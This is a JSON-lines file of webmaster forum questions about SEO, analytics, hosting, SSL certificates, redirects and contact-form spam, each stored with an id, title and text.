{"id":"4537","title":"Google Chrome and Theora","text":"I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora. Test sample: http:\/\/wwsi.edu.pl\/video\/enigma.html **Does anyone know how should I encode to Theora that Google Chrome works?** P.S. * I am not interested in encoding in WebM or h.264, this time. * I am not asking what is the best way to publish video on a website. * I only do experiments with Ogg Theora. * The test site has fallback for h.264 in video tag and WMV in WMP plugin."}
{"id":"13442","title":"Google Analytics regular expression to indicate TODAY?","text":"in Google Analytics version 5 (latest beta) there's an option to add a custom filter I want to show only data of today. Only Show -> Date -> Exactly matching -> and then I have the option to fill in in regular expression on the location of But what is the regular expression to indicate TODAY?"}
{"id":"7983","title":"An open sourced copy of Firefox input?","text":"Is there anything like firefox input http:\/\/input.mozilla.com\/en-US\/ that is open sourced? Thanks"}
{"id":"7985","title":"Redirecting to a specific page if the visitor used a certain name to resolve the server address","text":"How can I get visitors redirected to a specific html page if the name used to resolve the server address was a specific one? I tried if ($http_host ~ \/forbiddenname\/) { rewrite ^(.*)$ \/updateyourlinks.html break; } inside the Server section, but doesn't work..."}
{"id":"39808","title":"Who has experienced using Textile to generate their HTML pages?","text":"Do you need to have a generator or an app of some sort that would convert the Textile markup you did to its equivalent HTML?"}
{"id":"11105","title":"Setup Payment Gateway from Europe","text":"I'm from Europe and i want buy some payment gateway for internet credit\/debit card processing. I have a problem because PayPal and Authorize.net solutions is best but only from US and Canada users. What Europe Payment Gateway you recommend me? I can use US PayPal when i not in US? Is some workaround? I'm from Poland. Greetings"}
{"id":"10625","title":"How to enable customers to use their own domain for sites hosted by me","text":"I am thinking of running a self-site builder. But was wondering how would I allow customers to use their own domains that they already own. Is that even possible? Let's say my site is www.bestsitebuildingwebsite.com and each customer has urls like this www.bestsitebuildingwebsite.com\/frances www.bestsitebuildingwebsite.com\/eden www.bestsitebuildingwebsite.com\/john And a customer has a domain called widgets.com Is it actually possible domain widgets.com to go to my site somehow and have HASHES on the URL still work (my site makes use of hashes for AJAX queries). And their site still have good SEO with Google? Thanks Scott"}
{"id":"20839","title":"What is the motive of sending spam text","text":"> **Possible Duplicate:** > Strange spam posts not making sense I've many sites online and regularly I get the following type of spam text through \"contact us\" form even when containing Captchas. What could be the motive of sending such garbage? : > Submitted on Tuesday, October 11, 2011 - 10:43 Submitted by anonymous user: > [188.143.232.33] Submitted values are: > > Your Name: vlgktopsy Email-id: xoqvxh@hdqsrh.com Subject: QQLBMucIxgHjkAZxE > Comments\/Questions\/Feedback: BqjVXf ujfyjtshjwos, > [url=http:\/\/hwnjbrwibfme.com\/]hwnjbrwibfme[\/url], > [link=http:\/\/rsxwknbdppsi.com\/]rsxwknbdppsi[\/link], http:\/\/tpbftnbgarqv.com\/"}
{"id":"19897","title":"What kind of spam is this?","text":"I realize this is a pretty vague question, but I occasionally get spam messages through my contact form on a Drupal 6 site. The contact form does not have any anti-spam protection (i.e. math question). The messages I get are all very similar and just jumbled junk, like below, so I think they're all from the same source. Example: > ylsaf0V bpsdfuxnhjjd, [url=http:\/\/wwgfsggzgyjyjm.com\/]wwgrfgzrgsjyjm[\/url], > [link=http:\/\/xmgvyghcuufvb.com\/]xmjyhvyjyfjirovb[\/link], > http:\/\/frgxmdghrgruhfc.com\/ Anyway, I'm just wondering what the point of such a message is. All the links are dead, it's illegible, and it's not trying to sell me a product or get me to do anything, so I'm a bit perplexed. Is there any way to tell where they're coming from? And how concerned should I be? To be clear, I'm not asking how to avoid them, I realize just adding a simple math challenge or captcha would likely do the job."}
{"id":"53037","title":"Virtual Pageview Goal Funnel Not Tracking Correctly","text":"I have an AJAX form that has three stages: 1. The landing page where a user fills out a form and selects between three question sets and clicks begin assessment 2. The assessment page, where users fill out questions relating to the question set that they selected on the landing page. 3.The results page, which shows whether they are at High Risk or Low Risk. Since this is an AJAX form that does not open a new page for each step of the process, I implemented a virtual pageview that would fire on the pageload of each step of the form process. The following is my virtual pageview setup for each stage: 1. \/form\/begin-assessment 2. \/form\/assessment\/* (* = Three different virtual pageviews depending on the users selection of the three sets of questions: \/one, \/two, \/three) 3.\/form\/finished-assessment I have set up three separate goals to track user progress through each step of the form assessment. Here is my Goal setup: Goal Description: -Goal Type: Destination Goal Details: -Destination: \/form\/finished-assessment -Funnel: On Step 1: \/form\/begin-assessment (Required: Yes) Step 2: \/form\/assessment\/one (Step 2: replace \/one with \/two or \/three and you have my two other goals setup) Now my goals are recording the correct data in the first step and show the completions in the destination, but the second step does not show any drop offs. They show the same data as the destination. Any ideas of how I set up the goals wrong?"}
{"id":"33199","title":"How to inform search engines that my site support multilanguages?","text":"The website i am working on is translated to 8 languages (English, Chinese, Japanese, Arabic, Hindi, Russian, Spanish and Portuguese). Each time the user select a language, the URL stays the same as i am using a combination of defined variables to change the languages. For example, the URL for the English version (mysite.com) looks like the Chinese version. **My Question:** Do i need to specify a certain HTML tag to inform search engines that my website is in 8 languages? if yes, what are the necessary tags and how to define them? As an extra question, does this technique in translating the website bad for SEO?"}
{"id":"58577","title":"SEO Advice Needed! Can you use a snippet from a big article as a new small article?","text":"I'm quite new to SEO, I have a website that focuses on things to do in a city. We have lots of articles like Top 10 \/ 20 restaurants etc. We just opened a new section which uses Google Maps and has map points for all the individual things to do in the city. I would like to use snippets of text from the larger articles and create new articles with them. For example: I would like to take the text for each of the restaurants on the Top 10 article and create 10 new articles with those pieces of text and link each one to a point on the map. The titles and URLs will all be unique and the focused keywords will be different too. I'm also going to be linking to the big Top 10 article from each of these small article pages too. I'm worried about it being seen as duplicate content by Google and would like some advice on best practices."}
{"id":"65011","title":"Is negative SEO fact or fiction","text":"I have read a couple of articles about negative\/black SEO. They were explaining that important part of it is creating web sites with \"bad\" content that \"stink\" to Google. Back links from these sites are consequently penalized by Google and target sites receive negative bonus to their ranking. However, I had a little argument with my friend today, who is from my point of view an experienced web developer and SEO optimizer. He told me that this negative SEO and penalized sites is complete nonsense. He gave me an example that there is no problem for a company to create link farm of \"bad links\" that would be imposible for any tool to block. So if negative SEO was possible, there would be many big internet companies with sites ruined by this SEO. So I am asking you, because you always gave me good advice, is it fiction or fact?"}
{"id":"33443","title":"Templating system for a website?","text":"You know how Wordpress, Posterous, Blogger and the like all allow you to upload your own custom-designed templates? And if you look at the Source code of those templates from within their Template Designer's 'source code' option, you can see heaps of variables everywhere, like: <html> <head> <title>{PageTitle}<\/title> <\/head> <\/html> \/\/ for example How, or where would you create such a templating system, or are there open source ones, or where can you learn more about them?"}
{"id":"11972","title":"Is it ok to use 301's this way?","text":"I installed a forum, which has a page for member info. I want this to link to my main sites member info page which is a lot more detailed and interactive. The forum membership page has the url: member_profile.asp?PF=15434 If I put a 301 redirect on that page to go my nice member page: Users\/Tom * Would search engines not index member_profile.asp?PF=15434 (as in I don't want that ugly URL appearing anywhere in results) * Is it OK to use 301's this way?"}
{"id":"11976","title":"SSL Configuration Problem","text":"I've generated an SSL certificate with keytool: keytool -keystore keystore -alias mySite -genkey -keyalg RSA -keysize 2048 I got this configured and working fine, but obviously it wasn't signed by a trusted CA, so I generated a CSR: keytool -certreq -alias mySite -keystore keystore -file mySite.csr GoDaddy gave me two certificates back, which I imported into my keystore: keytool -keystore keystore -import -alias mySite.com -file mySite.com.crt keytool -keystore keystore -import -alias gd_bundle -file gd_bundle.crt I thought this would be sufficient, but I am still getting an untrusted certificate warning when I hit my app through the browser. Am I missing a step? My app is running on Jetty, and the only configuration I've provided is the keystore and the key-password. I am getting the following exception: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate"}
{"id":"58999","title":"Website migration from WordPress to a static site and doing 301 redirects without access to existing site?","text":"Currently working on a project that is a hosted on WordPress that is being migrated to a static site. However I presently do not have access to the existing site as it's managed by another developer. The concern is not the lack of having access to content as the site owner has generated very little content (reason for migration) and we were able to do this manually. Rather the concern is to do 301 redirects. The site will not change domains but URLs such as from `example.com\/?page_id=3` to `example.com\/services`. To add, the site is migrating to new server using same domain name. I thought maybe this could be done via editing permalinks prior to migration and WordPress would update automatically if configured to write on server. But if not configured (as this is not always the case) I do not have htaccess to fix it in case there are suddenly a bunch of 404 errors for every page. Really could use some help on the best procedure to follow in this case. This is the first migration project I've worked on."}
{"id":"17758","title":"What is the Google link equivalent in Yahoo and Bing?","text":"The link: directive in Google will find all pages which link to a given site. E.g. putting this in Google: link:stackexchange.com returns a bunch of sites linking to Stack Exchange. Is there an equivalent directive in Bing and\/or Yahoo?"}
{"id":"20648","title":"Choosing URLs for website offering products and services","text":"Assuming that I offer very few services and\/or products. Is, from SEO benefit point of view, it better to construct URL (http probably doesn't matter) such as: www.mysite.com\/services\/nameofservice or www.mysite.com\/nameofservice Another example: www.mysite.com\/products\/nameofproduct or www.mysite.com\/nameofproduct A bit different question (second one, first is above): if I offered (on the same website) very few services (up to 3) and a bit more of products (up to 20, all from clickbank or commission junction), would be your answer the same? I think (but need someone to confirm) in that case I would have to go in services area for www.mysite.com\/nameofservice and in products area www.mysite.com\/products\/nameofproduct"}
{"id":"20645","title":"How does my DNS provider know that I own the domain that I am managing?","text":"Let's say I purchase a domain at RegistrarA, and then I set my domain to use the name servers over at ProviderB since I will be using ProviderB to operate my DNS records. In the system of ProviderB, I can now manage my domain's DNS records. My question is, how did ProviderB and RegistrarA communicate the fact that I am the rightful owner of that domain? What is preventing another customer of ProviderB from trying to manage my domain name, now that it's using ProviderB's name servers? Is there some automatic checking of 'company name' or 'owner name' that needs to match on both ends? Is human verification involved? As far as I know, RegistrarA and ProviderB do not know anything about my account on the 'other' system. I never gave RegistrarA any of my info regarding ProviderB, or vice versa. I'll sleep better once I understand this."}
{"id":"27967","title":"Basic Google Analytics Click Tracking and\/or Overview","text":"This is a **really basic** Google Analytics question. Apologies in advance if it's not appropriate here, but I've had a lot of luck on Stack Overflow and this seems like the best Stack Exchange site for a question like this. I'm trying to understand how Google Analytics goals work, or if they're the right feature to be using for my situation. Most of the documentation I find online refers to the old version of the UI, not the new one. I have a website, let's call is blog.example.com. This website drives traffic to an ecommerce store, let's call that store.example2.com. I want to get reports on which links from blog.example.com are being clicked through leading to store.example2.com. How do you do this in Google analytics? Are goals the right area to be looking? Do I setup the goals on store.example2.com or blog.example.com? Or both? Is there any canonical user guide (free or paid) that covers how this works? I'm a competent programmer, but it's years since I dealt with conversion tracking on any serious level, and we've progressed well beyond my frozen caveman pixel tracking knowledge. Thanks in advance"}
{"id":"60658","title":"\"Site Health\" issue after adding new XML sitemap in webmaster tools","text":"Recently I replaced the `sitemap.xml` in Google WebmasterTools, but in the dashboard it is showing in the last position **by site health**. I don't know why it is showing in the last position, before it was on the top of all sites. I need to know, is this normal behavior or has something gone wrong ?"}
{"id":"36011","title":"Price of Amazon CloudFront vs dedicated server?","text":"I am trying to estimate my monthly bill for Amazon CloudFront. Let's say I need 1'000 GB\/month transfer. The price calculator give me a bill of $120. That's totally overpriced. If I buy a dedicated server I can have for the same price 10'000GB\/month and more. Am I doing something wrong? http:\/\/calculator.s3.amazonaws.com\/calc5.html"}
{"id":"53293","title":"Checking Request's user agent versus handling _escaped_fragment_ urls when using pushState only (no hashbangs)","text":"I'm working on an AJAX-based application and thinking of how to make it crawlable by search engines. I've read the Google's AJAX crawling specification but I couldn't get my head around one thing: if my application uses exclusively pushState (i.e. no hashbangs in URLs at all) wouldn't it be easier just to return a static version of the request URL if the request's user agent was a crawler? Would that be considered cloaking? I mean, I have no problem following the AJAX crawling specification and use `<meta name=\"fragment\" content=\"!\">` along with `_escaped_fragment_` urls, but it seems a lot easier just to check the user agent in such a case. I'm aware that returning information based on the request's user agent is often associated with black hat SEO, but in this case, unless I'm missing something, checking for a specific URL ( _escaped_fragment_) seems to be the same thing as checking for a specific user agent. In both cases I'd have to generate and return a static version of the requested resource and I could do bad things if I had bad intentions. AFAIK, no option is safer than the other. Should I, by all means, stick to the specification or would it be okay to use the user agent info? Or is there a better way to make crawlable a web application that uses `pushState` only? Any clarification on this matter will be much appreciated."}
{"id":"13192","title":"How can I make my binary file is served as binary and not text when user choose \"Save Linked File As...\" in Safari?","text":"I'm serving a binary file (.IPA) with `Ubuntu\/Apache 2.2`. When I have chosen `Save Linked File As...` in Safari, it says it's text file. And it guides me to add `.txt` extension. However it does not add any extra extension when I download it just clicking link. I added line `AddType application\/octet-stream .ipa` in apache configuration file. I don't know what's wrong with this. Is this a bug of Safari or my misconfiguration? (1) If it caused by bug, how can I avoid this? (2) Or if it caused by misconfiguration, what should I do?"}
{"id":"60650","title":"SSD vs. regular HDD in webhosting","text":"What are the benefits of paying for SSD storage when it comes to webhosting? I know that SSDs have better read speeds is that necessarily better or is it negligible? I have sites that use databases with php so will it really benefit me to pay extra for SSD storage? I read somewhere that SSDs increase fetching times from the db but also read stuff that are contrary to it and the fact that I can cache mysql results using apc or memcached so kind of confused, can someone shed some light please?"}
{"id":"53298","title":"Which CMS scenario should I choose for SEO?","text":"I have a website, about web design and programming, which uses WordPress. I also list some applications that I have made, in pages like: mysite.com\/myapp1 mysite.com\/myapp2 ( **note** : these pages are not WordPress pages just simple HTML (PHP) pages that I have created) Currently, I am displaying these aplications by WordPress posts, like: mysite.com\/myapp1-is-online-now and this post contains a link to `\/myapp1`. So, this is scenario one. To summarize it, it is like: * my site * WordPress * my app 1 * my app 2 the other option is, to make my homepage a custom HTML file, and make the WordPress as a subdomain or subfolder, like `mysite.com\/blog` or `blog.mysite.com` and the homepage gives links to blog, myapp1, etc. So in the second scenario, WordPress will be getting Google indexes for `blog.mysite.com` , but will it help my homepage to get good rankings too? ## Edit: I guess the shortest way to ask this question is: should I make WordPress root, or subfolder?"}
{"id":"30434","title":"Amazon EC2: How do I create a subdomain on an instance?","text":"I have apache2 and tomcat installed on Amazon ec2 instance running Ubuntu. tomcat is serving the application and I want to create subdomains for `example.com` and `abc.example.com` to serve to different webapps."}
{"id":"65771","title":"So I just got a Pottery Barn email that required I call the store to be removed","text":"About a year ago, I bought a Pottery Barn Kids gift for my nephew's baby shower and last night, I got a marketing email in my box. I hadn't seen this technique before. As far as I know, it doesn't violate the 2003 CAN-SPAM act, but boy, it sure paints the fence gray.  For reference, here's the relevant passage: > Tell recipients how to opt out of receiving future email from you. **Your > message must include a clear and conspicuous explanation of how the > recipient can opt out of getting email from you in the future.** Craft the > notice in a way that’s easy for an ordinary person to recognize, read, and > understand. Creative use of type size, color, and location can improve > clarity. Give a return email address or another easy Internet-based way to > allow people to communicate their choice to you. You may create a menu to > allow a recipient to opt out of certain types of messages, but you must > include the option to stop all commercial messages from you. Make sure your > spam filter doesn’t block these opt-out requests. I mean, boy, they sure did that. This seems like dangerous PR territory though. Is anyone else using this technique? Have you heard much about it? Is it a growing trend or just a dirty trick? Requiring a person to call a physical location to be taken off a mailing list seems like a great way to end up on every spam blacklist in a matter of weeks."}
{"id":"33807","title":"How to turn visitors into site members (running a Q&A site)?","text":"My Site is getting around 250 unique visitors from search daily. What UI changes (or other changes) should I make to make it more appealing so more users become members? If its too broad to answer here can you please provide some links to good reads on this topic? I am have been a programmer for 2 years this is sort of my first attempt on my own site. Let me know if I should share link here. EDIT: link http:\/\/shoutland.com\/"}
{"id":"48138","title":"Yandex.Metrica: can I redirect from \/favicon.ico to the 1×1 gif counter?","text":"I have a very simple site, with no graphics, and I don't want to spoil it with a huge JavaScript monitoring loop. I don't have a `favicon.ico`, and I always see 404 requests from browsers requesting for favicon; can I `307` the favicon location to the `\/\/mc.yandex.ru\/watch\/id` URL of the 1×1 gif counter, the one which shows in the `img src` when you request the Metrica code from Yandex? location = \/favicon.ico { return 307 http:\/\/mc.yandex.ru\/watch\/XXX; }"}
{"id":"60507","title":"Site very slow when viewed from china","text":"My site is very slow when viewed from china. I have used this tool for testing: http:\/\/www.dotcom- monitor.com\/WebTools\/website-speed-test.aspx This is the result  Shangai - waterfall  only the DNS resolution has cost 4 seconds how can I make things better for Chinese users? the performance of the site are generally good and I tried to optimize all the best "}
{"id":"20466","title":"Metrics on Potential Website Overhaul","text":"We are considering a drastic overhaul of our 5+ year old site - UI, structure, content, SEO, backend, etc. We are not ecommerce, we generate leads for a high cost product. We're aware of the obvious benefits: better customer service, stronger branding, less bandwidth, etc. A case is being built to fund this project, so the question at hand: what resources are available that would help us estimate what specific changes would impact a variety of metrics (conversions, leads, etc). I am looking for general information, not industry specific."}
{"id":"39771","title":"Basic Questions about what WebHosting companies usually provide","text":"I have some very basic questions on web hosting. I am wondering, do web hosting companies usually allow me to run customized programs? For example, my website needs me to run a program separately, continuously on the back end and talk to the front end stuff. Is this usually allowed? I am assuming the answer is yes, otherwise people can't use some web frameworks like web.py. If the answer is yes, do they usually impose the CPU\/memory limit on my program? Also, will I have sudo permission on the servers they provide? I know this probably varies from company to company, I am just trying to understand some industrial basics before asking more ignorant questions."}
{"id":"39777","title":"mathML\/HTML symbol for mathematical vector","text":"Is there a way to make something like the image below using text-based HTML\/mathML. My concern is with the arrows over the letter v. This is for iOS (webKit); I'd rather not use mathJAX or the like if I can help it. "}
{"id":"7323","title":"Google Search Parameter Question","text":"I've been trying to determine different parameters used by Google in their search queries. In particular, the usg parameter is what is giving me troubles. Here is an example value given for it, which is from an actual Google query: usg=0_zDqudnCN52ATGjAl3tignXNtBo4%3D Does anyone know what it could be for \/ recognize it? I've done a bit of digging, but haven't found any confirmation as to what it could be. Here is the link that I took a look at: http:\/\/www.webmasterworld.com\/google\/3892573.htm"}
{"id":"10085","title":"Can someone explain the true landscape of Rails vs PHP deployment, particularly within the context of Reseller-based web hosting (e.g., Hostgator)?","text":"Currently, I have a reseller account with the company HostGator. I design websites, which up until now have occasionally been wrapped in Wordpress CMSs and the like (PHP applications). I then sell hosting (of the site I've designed) to the client, which is pretty simple, in that I can simply click a button and add a new shared hosting account\/site with whatever settings I want. Furthermore, I then utilize WHMCS to automate billing and account management. It's a nice package and pretty simple. I pay something like $25 a month, and can sell a hundred accounts under this (because my clients bandwidth requirements are low). Now I am finding the need to develop more customized applications, including a minimalist CMS and several proprietary things. I soon anticipate developing these apps for clients as well. Thus, I've spent the past few months learning Rails, and it's coming along well now. The thing that has nagged at me all along, though, is the deployment issue. I can't wrap my brain around it. It seems like all of the popular options (Heroku, etc) have nice automation with git and are set up in the \"Rails Way\". I get that (sort of). But it's terribly expensive... a single dyno, a helper, and the cheapest database (which they say is mainly suitable for testing) that isn't limited to 5MB runs $51. This is for ONE app!!! Throw in a \"production\" DB and you're over $200. This is like... the same prices as getting a server somewhere, right? Meanwhile, going back to what I guess is a \"traditional\" hosting environment with Hostgator, their server only has Ruby 1.8.7 and Rails 2.3.5... No Rails 3. AND, no Passenger (not that I really understand the difference in CGI or mod_rails or whatever, but they say Passenger is the simplest). So I'm to understand that if I build an app in Rails 3, it won't run at all on this host? But damn, I already have these accounts under my reseller account there, all running static html and\/or PHP stuff, right? So what now? How do I get all of this under one simple (and affordable) roof? Forgive my ignorance, but I just don't get it. Managing a VPS is cool and all, but entails learning server admin stuff and security... And it's expensive. I get that a shared and\/or reseller \"server-based\" (forgive the terminology) may be inadequate for large-scale apps that use a lot of bandwidth... But what about for those of us who are building real (but small and low bandwidth) apps (with Rails) and who want to deploy them simply, cheaply, using the same conceptual approach as PHP? Even after learning all of this Ruby and Rails stuff for months, I'm questioning whether it's worth it when it comes to deployment. I want to build a small app, upload it to my home directory on a shared server account, and just make it run. Why should that be so hard? Am I just choosing the wrong language\/framework? Forgive my ignorance in the subject; these questions are not rhetorical; just trying to learn here. So: 1) I'd appreciate if someone could give me a good rundown of how to understand deployment in Rails vs. PHP. 2) I'd appreciate if someone could address my issue with running a hosting\/web business around reseller hosting (Hostgator) while also being able to host Rails apps. Can it be done? And how can a company like Hostgator completely ignore what's current in Rails\/Ruby? Thanks."}
{"id":"7329","title":"For SEO, does it matter where the title tag is positioned within the head tag?","text":"I have always positioned my `<title>` element as the first child of the `<head>` element. I am building a site where, for various reasons the title is currently one of the last children of the `<head>` element. Does it matter either way with regard to SEO?"}
{"id":"18446","title":"Is there a blogging platform that allows me to give traffic related bonuses to writers?","text":"I would like to be able to reward writers with bonuses based upon the amount of traffic their individual posts receive, to encourage them to promote their posts on the internet. Is there a platform that supports this automatically out of the box?"}
{"id":"68122","title":"Image path for multilingual site? Can I use same image file without rewriting every URL?","text":"Suppose I wanted my website to have `www.aaa.com\/bbbb www.aaa.com\/th\/bbbb ` The first one is the default language while second one is in Thai. I think I should prepared my folder structure like this : `root -bbbb \\--index.html \\--images -th \\--bbbb \\---index.html ` Now that I copied the `index.html` file from `\/bbbb`folder into `\/th\/bbbb` folder and finished translate it, I realized that all path for images like in `<img src=` or `url(...` of CSS has been broken because I did not copied the whole `bbbb\/images` folder with it. Instead of rewriting every url to go back one step and look for images in `\/bbbb` folder (that is, prefix every URL with `..\/bbbb\/`) is there more practical way? Because the translated page uses nearly identical images with original ones. Also for the solution presented, would that impact the SEO of images in any way?"}
{"id":"12956","title":"When should I ask a purchaser about subscription plans related to a retail product?","text":"I am currently working on the design for a product detail page with a few other people. The product is a piece of software that has an outright purchase component as well as a subscription plan associated with it. **There are a few options on the table for when to ask about the subscription component of the software purchase:** * **On the product page** : Show a list or a grid so that the user can add the software and the subscription all at once. * **Use an interstitial** : The user adds the software to the cart, then is prompted for a subscription plan choice on the next page. * **Ask in the cart** : The user adds the software to the cart. From the cart, they see a list of \"add-ons\" that represent the subscription plans that they can add to their purchase. **In discussing this, two viewpoints have arisen** : * We should start out by simply enticing them to add the product to the cart and ask about subscription plans on a separate page. In the back of their minds, the users know a subscription choice is coming as it's a required component for the software. **Asking for everything up-front may decrease the chance that the user will actually add the product to the cart** , and we're not hiding anything from the user since they know a subscription is required. * **Asking for everything up-front reduces the number of clicks the user has to make to purchase the product and subscription and makes the overall experience more user-friendly.** Since users are aware of the subscription aspect of the product by the time they reach the product page, we won't have a lot of people who get to the page, see the subscription options, then decide not to add the product to the cart because we ask for both at once. One solution would be to implement an A\/B test of the workflow, see which one performs better, then stick with that as the final workflow. This will likely be what we end up doing. However, my thinking is that we can't be the only group who has wondered this before. I know that extensive analysis has been done on eCommerce site design, but I am having issues finding results of previous A\/B tests related to when to ask for subscriptions. **Any insight on what has worked best in previous tests of the timing of prompting for a subscription decision during a retail purchase would be very much appreciated.**"}
{"id":"12957","title":"Will linking individual words within my content help or hinder my SEO Ranking?","text":"I am trying to improve my SEO Ranking, will linking my content to other pages on the site hinder or help my results. For instance if I was to link back to the home page every time I mentioned the company name. Example The frog was almost the size of a <a href=\"toadinfo.html\">toad<\/a>. <a href=\"toadinfo.html\">Toads<\/a> are larger than frogs. My <a href=\"toadinfo.html\">toad<\/a> has green spots"}
{"id":"15670","title":"How to use the domain of my old site to my new site?","text":"the site1.com is a joomla website.. that site is converted into wordpress. I want to have the domain of the joomla site (site1.com) to be the domain name of the wordpress. Note the two site have different server. thanks"}
{"id":"68902","title":"Newly registered user to match with existing in db member","text":"I have a database that contains my company clients info. We want to enable those clients to register on our website and see their data. How should be newly registered user matched with Client entity in our database? Should it be manually done by administrator? If so, what data do we need to identify them? SHould the admin be informed by an email?"}
{"id":"68907","title":"Best way to find out how many hits a site gets, without slow load times","text":"I am building a translation website. One of my priorites is load times. Recently I added a Google Analytics tracking script, which provides exceptionally complex information about the site, but also increased my load times, significantly. Has anyone found a good solution - A simple way to measure stats - Without the dramatic slowing of load times."}
{"id":"68904","title":"Is there a kind of microdata or markup that creates \"results x of y\" in search results","text":"I'm trying to get the following kind of markup appear on my job site:  There's a specific markup for job adverts listed on the schema.org webpage, but I can't work out how Google is pulling the 1 - 20 of 23229 from the Monster webpage. I'm presuming the jobs tag is because they use microdata markup for all their adverts, but how is Google pulling the numbers? There is a specific page tag for search results (here), however it doesn't seem to have any relevant options and as far as I can tell Monster aren't using it anyway. (A search for monster jobs china should show the result)"}
{"id":"59138","title":"How do I use Instagram to post to my business page but not my personal page?","text":"I tried asking this question on the Facebook forums but got no answer, maybe someone here might be able to help me with this. I have a Facebook account and within that same account is my Facebook page for my business. Problem is every time that I try to use Instagram to upload a photo it gets uploaded to my personal\/primary Facebook page and not the business page which is under the same email address and password. Instagram ask for this email address and password but how can I just have Instagram upload it to my business page and not my personal page? Or at very least how can I do both?"}
{"id":"59131","title":"How to specify priority content for Google to index first when launching a very large website","text":"My team will go online with a portal that will have over 1.000.000 products. And I read here following text: > Prioritize which content you have indexed. With that much data, not all of > it is going to be absolutely vital. Make a strategic decision as to what > content is most important, e.g., it will be most popular, it has the best > chance at ROI, it will be the most useful, etc. and make sure that that > content is indexed first. Another SEO expert told me to pick out our top 50 categories (including all products) and to put them into our XML Sitemap for Google. Our site map for users gives already deeplinks into those categories and manufacturers too. And if we put our top 50 categories into our XML Sitmap, should we: a) just increase the number of categories as soon as google got almost everything crawled? b) just take out categories that do not work and put in others that work better? So that Google Bot is focused on our top 50 categories (with approx 250.000 Products) As far as I know Google indexes everything, as long as there's no `no-index` set - but a XML Sitemap will help Google to find our important pages faster - is this correct?"}
{"id":"59134","title":"When should I use <tag>content<\/tag> tag style, when <tag attrs> and when <tag attrs \/>?","text":"I'm using HTML5. I just a bit confused that some people said \"html validator does not like `<tag attrs \/>` tags style\". It is obvious that if I need to place some content between opening and closing tag I should use `<tag>`content`<\/tag>` tag style. But if not, which one is right? <tag attrs \/> <tag attrs> For example: what is the correct use of `<br \/>` tag?"}
{"id":"63304","title":"Does Google provide different Index status for HTTP and HTTPS?","text":"Will Google provide different index statuses for HTTP and HTTPS? Examples: `http:\/\/www.example.com` and `https:\/\/www.example.com` Or it will provide same results for both? If it doesn't provide the same results, can we configure both HTTP and HTTPS in Google Web Master Tools?"}
{"id":"7069","title":"Where can I find good link exchange programs and forums?","text":"googling didnt worked in finding good link exchange programs.Has anyone of you tried an automatic link exchange program?My sites page rank has fallen from 3 to 1.Please help"}
{"id":"7068","title":"I can't find dofollow or nofollow in my blog","text":"I have a blog which I want to make do-follow but I am unable to find any place to change nofollow to dofollow please help me the html code is here."}
{"id":"29571","title":"Who's to blame for copyright content, webmaster or site\/business owner?","text":"If I upload content that is clearly a violation of copyrights am I legally responsible for such content or is it only the owner of the site and business?"}
{"id":"29572","title":"Why is google chrome rendering certain webfonts like this?","text":"I'm working on a website currently that uses google's web font \"Open Sans\", but everywhere the font is rendered wrong. I looked at Dropbox.com and it also has the same problem (they use Open Sans as well). It looks like this: https:\/\/www.dropbox.com\/s\/fh1eyb2oiysop5k\/crap.png When I view the site in firefox, it looks normal. When I copy the text and paste in a text file, the actual text that supposed to be there IS there. I've been following the issue at http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=108645"}
{"id":"52096","title":"Should I enter only effective keywords into AdWords?","text":"Keyword research tools like Keyword Planner seem to fulfill two basic functions: 1. Generate a list of possible keywords 2. Provide estimates (CPC, traffic, ...) to whittle down this list to the most _effective_ keywords Do I need the second step? Is there any downside in uploading a huge list with thousands of keywords and just wait and see how they perform? It's pay per click so I'm not losing money on low performing keywords. Ultimately I'm only interested in conversions and that's a metric that can't be estimated by the tools anyway. Edit: As Joshak points out, I need to remove all obviously non-converting keywords. What about other keywords that could theoretically convert but the estimates show it's unlikely. For example 0 traffic or very high cpc, so it's unlikely I will win the bid. It would be more work to remove them and there are slight changes that they bring conversions. Is there any downside in using them?"}
{"id":"29577","title":"How can I make Google Analytics understand URL encoding?","text":"I have a page on my site that has the following URL: **solr?filters=type%3Aphoto** (let's call this URL A) Any link to this page on my site reads: solr?filters=type%3Aphoto The \"%3A\" is a URL encoded colon (\":\"). However, Google Analytics correctly tracks this page URL as: **solr?filters=type:photo** (let's call this URL B) This breaks In-Page Analytics (IPA) in two important ways: * Issue #1: When I go to this page (URL A) inside of In-Page Analytics it says there are 0 hits (and thus no tracking of data on any link clicks on this page). * Issue #2: When viewing any other page in IPA it never reports any links to the page in question because IPA sees the link as URL A but all of the data is for URL B. Fixing issue #1 is easy: I just manually go to URL B via the IPA path tool, and it correctly shows traffic on this page and all of the link click traffic. Is there any way to fix issue #2? If I think this is a Google Analytics bug, but I couldn't find any way to contact Google Analytics support."}
{"id":"18621","title":"How to analyse the keyword density of an entire website?","text":"My competitor has a forum where its customer post. I want to use all those threads to determine which keywords I should use on my own site, because forums have terms customers use and search for. I can pick a page and analyse it to find which keyword and phrase are popular, but how do I analyse the whole site ?"}
{"id":"18622","title":"Error 504 with Apache and php","text":"My web application works fine in development environment, but on production server gives off: 504 Gateway Time-out The server didn't respond in time. * * * ## Edit: I have traced the problem to a `session_start()` call - it never completes and ends in a 504 error above. What could cause this? Both servers are running Linux, although of course they are not perfect clones of each other. There are many other php apps running on the same server with no issues, the production server is not overloaded in any way, and hardware wise, the production server is much better in specs than the development one. I checked out php error log and do not see anything other than [22-Aug-2011 09:38:01] PHP Warning: PHP Startup: Unable to load dynamic library '\/usr\/lib64\/php\/modules\/pdo_sqlite.so' - \/usr\/lib64\/php\/modules\/pdo_sqlite.so: undefined symbol: php_pdo_register_driver in Unknown on line 0 Which is something I see all the time even if it's working fine, and I generally don't care about this error as I'm not using sqlite. Where else can I see what's going on and what to do to fix it? * * * ## Edit: While I could not figure out what caused the initial problem, it turned out that the problem was not occurring when using a different _web browser_. After restarting the problematic browser instance (it was Firefox, btw) the issue went away completely. I'm still puzzled how a browser could cause a server to throw 504 error."}
{"id":"54741","title":"Can redirecting a spammy site with less PageRank to a site with higher PageRank hurt?","text":"How does it affect a site with higher PageRank if a lower PageRank start redirecting (301) to it? The lower ranked site has a spammy link profile and would like to shut it down, but it also has a lot of visitors. I would like to start redirecting it to another site with much higher rank."}
